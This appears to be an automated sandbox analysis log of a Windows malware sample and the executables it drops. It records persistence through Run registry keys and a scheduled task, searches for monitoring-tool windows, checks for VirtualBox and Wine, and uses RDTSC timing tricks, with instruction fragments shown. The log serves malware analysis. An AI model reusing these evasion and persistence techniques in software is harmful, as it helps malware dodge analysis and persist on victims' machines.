Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 09d417a7c4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 09d417a7c4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 353ab0ae6e.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 353ab0ae6e.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 29af563a7b.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 29af563a7b.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B2712 second address: 6B2728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C5451FBBEh 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B2728 second address: 6B275D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F8C54522440h 0x0000000b jmp 00007F8C54522434h 0x00000010 js 00007F8C54522426h 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F8C5452242Ah 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B275D second address: 6B2779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F8C5451FBC5h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CBE10 second address: 6CBE22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F8C54522426h 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CBE22 second address: 6CBE36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C5451FBC0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CBE36 second address: 6CBE3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CBF84 second address: 6CBFA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBC6h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CBFA4 second address: 6CBFAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CBFAA second address: 6CBFAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CBFAE second address: 6CBFB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC0D4 second address: 6CC0DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC0DF second address: 6CC0EE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jo 00007F8C54522426h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC0EE second address: 6CC0FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC0FE second address: 6CC133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C54522436h 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F8C54522437h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC248 second address: 6CC25E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8C5451FBBDh 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC25E second address: 6CC262 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC262 second address: 6CC268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC50A second address: 6CC517 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8C54522426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC517 second address: 6CC52B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8C5451FBB6h 0x0000000a pop eax 0x0000000b pushad 0x0000000c js 00007F8C5451FBB6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
